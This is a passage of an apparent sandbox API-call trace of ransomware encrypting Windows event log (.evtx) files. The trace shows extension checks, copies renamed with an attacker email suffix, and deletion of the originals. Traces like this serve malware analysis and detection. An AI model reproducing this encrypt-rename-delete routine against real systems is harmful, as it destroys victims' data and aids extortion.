(lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.988] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.988] lstrlenW (lpString=".doc") returned 4 [0147.988] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.988] lstrlenW (lpString=".docx") returned 5 [0147.988] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.988] lstrlenW (lpString=".pdf") returned 4 [0147.988] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.988] lstrlenW (lpString=".xls") returned 4 [0147.988] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.988] lstrlenW (lpString=".xlsx") returned 5 [0147.988] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.988] lstrlenW (lpString=".ppt") returned 4 [0147.988] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.988] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.988] lstrlenW (lpString=".zip") returned 4 [0147.988] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.988] lstrlenW (lpString=".rar") returned 4 [0147.988] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.988] lstrlenW (lpString=".bz2") returned 4 [0147.988] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.988] lstrlenW (lpString=".7z") returned 3 [0147.988] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.988] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.988] lstrlenW (lpString=".dbf") returned 4 [0147.989] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.989] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.989] lstrlenW (lpString=".1cd") returned 4 [0147.989] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.989] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.989] lstrlenW (lpString=".jpg") returned 4 [0147.989] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.989] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.989] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0147.989] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0147.989] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0147.989] CloseHandle (hObject=0x10d8) returned 1 [0147.989] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0147.989] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.989] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0147.989] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.990] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.990] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0147.990] GetLastError () returned 0x0 [0147.990] ReadFile (in: hFile=0x10d8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0148.154] WriteFile (in: hFile=0x1098, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0148.156] ReadFile (in: hFile=0x10d8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.156] WriteFile (in: hFile=0x1098, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x122, lpOverlapped=0x0) returned 1 [0148.156] SetEndOfFile (hFile=0x1098) returned 1 [0148.156] CloseHandle (hObject=0x1098) returned 1 [0148.165] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.165] SetEndOfFile (hFile=0x10d8) returned 1 [0148.167] CloseHandle (hObject=0x10d8) returned 1 [0148.167] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0148.167] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0148.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.168] lstrlenW (lpString=".doc") returned 4 [0148.168] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.168] lstrlenW (lpString=".docx") returned 5 [0148.168] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.168] lstrlenW (lpString=".pdf") returned 4 [0148.168] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.168] lstrlenW (lpString=".xls") returned 4 [0148.168] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.168] lstrlenW (lpString=".xlsx") returned 5 [0148.168] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.168] lstrlenW (lpString=".ppt") returned 4 [0148.168] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.168] lstrlenW (lpString=".zip") returned 4 [0148.168] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.168] lstrlenW (lpString=".rar") returned 4 [0148.168] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.168] lstrlenW (lpString=".bz2") returned 4 [0148.168] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.168] lstrlenW (lpString=".7z") returned 3 [0148.168] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.168] lstrlenW (lpString=".dbf") returned 4 [0148.168] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.168] lstrlenW (lpString=".1cd") returned 4 [0148.168] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.169] lstrlenW (lpString=".jpg") returned 4 [0148.169] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.169] lstrlenW (lpString=".doc") returned 4 [0148.169] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.169] lstrlenW (lpString=".docx") returned 5 [0148.169] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.169] lstrlenW (lpString=".pdf") returned 4 [0148.169] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.169] lstrlenW (lpString=".xls") returned 4 [0148.169] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.169] lstrlenW (lpString=".xlsx") returned 5 [0148.169] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.169] lstrlenW (lpString=".ppt") returned 4 [0148.169] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.169] lstrlenW (lpString=".zip") returned 4 [0148.169] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.169] lstrlenW (lpString=".rar") returned 4 [0148.169] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.169] lstrlenW (lpString=".bz2") returned 4 [0148.169] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.169] lstrlenW (lpString=".7z") returned 3 [0148.169] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.169] lstrlenW (lpString=".dbf") returned 4 [0148.169] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.170] lstrlenW (lpString=".1cd") returned 4 [0148.170] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0148.170] lstrlenW (lpString=".jpg") returned 4 [0148.170] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.170] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0148.170] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40 [0148.170] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0148.322] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0148.322] CloseHandle (hObject=0x1084) returned 1 [0148.322] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0148.322] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.322] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0148.323] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.323] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.323] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0148.558] GetLastError () returned 0x0 [0148.558] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0148.674] WriteFile (in: hFile=0x10e4, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0148.676] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.676] WriteFile (in: hFile=0x10e4, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x124, lpOverlapped=0x0) returned 1 [0148.677] SetEndOfFile (hFile=0x10e4) returned 1 [0148.680] CloseHandle (hObject=0x10e4) returned 1 [0148.685] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.685] SetEndOfFile (hFile=0x1084) returned 1 [0148.687] CloseHandle (hObject=0x1084) returned 1 [0148.687] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0148.687] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0148.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.687] lstrlenW (lpString=".doc") returned 4 [0148.687] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.687] lstrlenW (lpString=".docx") returned 5 [0148.687] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.688] lstrlenW (lpString=".pdf") returned 4 [0148.688] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.688] lstrlenW (lpString=".xls") returned 4 [0148.688] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.688] lstrlenW (lpString=".xlsx") returned 5 [0148.688] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.688] lstrlenW (lpString=".ppt") returned 4 [0148.688] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.688] lstrlenW (lpString=".zip") returned 4 [0148.688] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.688] lstrlenW (lpString=".rar") returned 4 [0148.688] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.688] lstrlenW (lpString=".bz2") returned 4 [0148.688] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.688] lstrlenW (lpString=".7z") returned 3 [0148.688] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.688] lstrlenW (lpString=".dbf") returned 4 [0148.688] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.688] lstrlenW (lpString=".1cd") returned 4 [0148.688] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.688] lstrlenW (lpString=".jpg") returned 4 [0148.688] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.689] lstrlenW (lpString=".doc") returned 4 [0148.689] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.689] lstrlenW (lpString=".docx") returned 5 [0148.689] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.689] lstrlenW (lpString=".pdf") returned 4 [0148.689] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.689] lstrlenW (lpString=".xls") returned 4 [0148.689] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.689] lstrlenW (lpString=".xlsx") returned 5 [0148.689] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.689] lstrlenW (lpString=".ppt") returned 4 [0148.689] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.689] lstrlenW (lpString=".zip") returned 4 [0148.689] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.689] lstrlenW (lpString=".rar") returned 4 [0148.689] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.689] lstrlenW (lpString=".bz2") returned 4 [0148.689] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.689] lstrlenW (lpString=".7z") returned 3 [0148.689] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.689] lstrlenW (lpString=".dbf") returned 4 [0148.689] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.689] lstrlenW (lpString=".1cd") returned 4 [0148.689] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0148.689] lstrlenW (lpString=".jpg") returned 4 [0148.689] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.690] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0148.690] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74 [0148.690] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.784] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0148.784] CloseHandle (hObject=0x10b4) returned 1 [0148.784] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0148.784] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.784] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.784] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.784] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.785] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0148.785] GetLastError () returned 0x0 [0148.785] ReadFile (in: hFile=0x10b4, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0148.941] WriteFile (in: hFile=0x10e4, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0148.943] ReadFile (in: hFile=0x10b4, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.943] WriteFile (in: hFile=0x10e4, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x168, lpOverlapped=0x0) returned 1 [0148.944] SetEndOfFile (hFile=0x10e4) returned 1 [0148.944] CloseHandle (hObject=0x10e4) returned 1 [0148.946] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.946] SetEndOfFile (hFile=0x10b4) returned 1 [0148.947] CloseHandle (hObject=0x10b4) returned 1 [0148.947] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0148.947] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0148.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.948] lstrlenW (lpString=".doc") returned 4 [0148.948] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.948] lstrlenW (lpString=".docx") returned 5 [0148.948] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.948] lstrlenW (lpString=".pdf") returned 4 [0148.948] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.948] lstrlenW (lpString=".xls") returned 4 [0148.948] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.948] lstrlenW (lpString=".xlsx") returned 5 [0148.949] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.949] lstrlenW (lpString=".ppt") returned 4 [0148.949] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.949] lstrlenW (lpString=".zip") returned 4 [0148.949] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.949] lstrlenW (lpString=".rar") returned 4 [0148.949] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.949] lstrlenW (lpString=".bz2") returned 4 [0148.949] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.949] lstrlenW (lpString=".7z") returned 3 [0148.949] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.949] lstrlenW (lpString=".dbf") returned 4 [0148.949] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.949] lstrlenW (lpString=".1cd") returned 4 [0148.949] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.949] lstrlenW (lpString=".jpg") returned 4 [0148.949] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.949] lstrlenW (lpString=".doc") returned 4 [0148.949] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.949] lstrlenW (lpString=".docx") returned 5 [0148.949] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.949] lstrlenW (lpString=".pdf") returned 4 [0148.950] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.950] lstrlenW (lpString=".xls") returned 4 [0148.950] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.950] lstrlenW (lpString=".xlsx") returned 5 [0148.950] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.950] lstrlenW (lpString=".ppt") returned 4 [0148.950] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.950] lstrlenW (lpString=".zip") returned 4 [0148.950] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.950] lstrlenW (lpString=".rar") returned 4 [0148.950] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.950] lstrlenW (lpString=".bz2") returned 4 [0148.950] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.950] lstrlenW (lpString=".7z") returned 3 [0148.950] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.950] lstrlenW 